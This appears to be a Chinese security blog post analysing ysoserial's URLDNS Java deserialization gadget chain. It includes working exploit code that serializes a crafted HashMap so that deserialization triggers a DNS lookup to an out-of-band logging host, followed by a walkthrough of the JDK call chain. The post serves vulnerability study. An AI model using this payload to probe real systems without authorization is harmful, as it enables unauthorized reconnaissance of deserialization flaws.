Yoga7xm's Blog

ysoserial之URLDNS 分析

字数统计: 737阅读时长: 3 min
2019/08/17 Share

Abstract

URLDNS是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不
是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。

但是它有以下优点:

  • 使用Java内置的类构造,对第三方库没有依赖
  • 在目标没有回显的时候,能够通过DNS来判断是否存在反序列化漏洞

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class UrlDnsExp {

public static void main(String[] args) throws Exception{
HashMap<URL, String> obj = new HashMap<URL, String>();
String url = "http://d9hlrx.ceye.io";
URL url1 = new URL(url);
Class clazz = Class.forName("java.net.URL");
Field field = null;
field = clazz.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url1,-1);
obj.put(url1,"qwer");

//序列化
FileOutputStream fo = new FileOutputStream("ceye.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fo);
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
}

来看下这个Exp,利用反射去实例化一个java.net.URL对象,并设置私有变量hashCode为-1,然后将其作为Key,字符串qwer作为Value存入HashMap,再进行序列化,最后将数据输出在当前目录的ceye.ser

进行反序列化操作

1
2
3
4
5
6
7
8
9
10
11
import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class UrlDnsRead {
public static void main(String[] args) throws Exception{

FileInputStream fis = new FileInputStream("ceye.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
}

运行之后,打开DNSlog查看效果

能够看到有两条访问记录,来追一下这条gadget

gadget

直接来看HashMap的ReadObject()

先是调用了原始父类的readObject(),然后在最后面存入数据的时候调用了hash()去计算key的Hash值,跟进这个方法

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

只是简简单单的调用了Key的hashCode(),我们EXP传入的Key是一个URL对象,所以来看java.net.URL#hashCode()


开头会判断hashCode是否为-1,假如不是,则直接返回,这里就是我们之前Exp提到过的。
此处的handler是URLStreamHandler对象,然后跟进hashCode()方法

这里是对传入的URL进行解析,将每部分的Hash值叠加最后返回。这里调用了一个getHastAddress(),跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;

String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}

关键的地方InetAddress.getByName(host);,查看文档

public static InetAddress getByName(String host) throws UnknownHostException
确定主机名称的IP地址。
主机名称可以是机器名称,例如“ java.sun.com ”或其IP地址的文本表示。 如果提供了文字IP地址,则只会检查地址格式的有效性。

也就是进行DNS解析,来看最后的利用链,比较简单:

HashMap.readObject() -> HashMap.hash() -> java.net.URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress() -> InetAddress.getByName()

我们可以通过这条链很容易判断是否存在反序列化漏洞

CATALOG
  1. 1. Abstract
  2. 2. EXP
  3. 3. gadget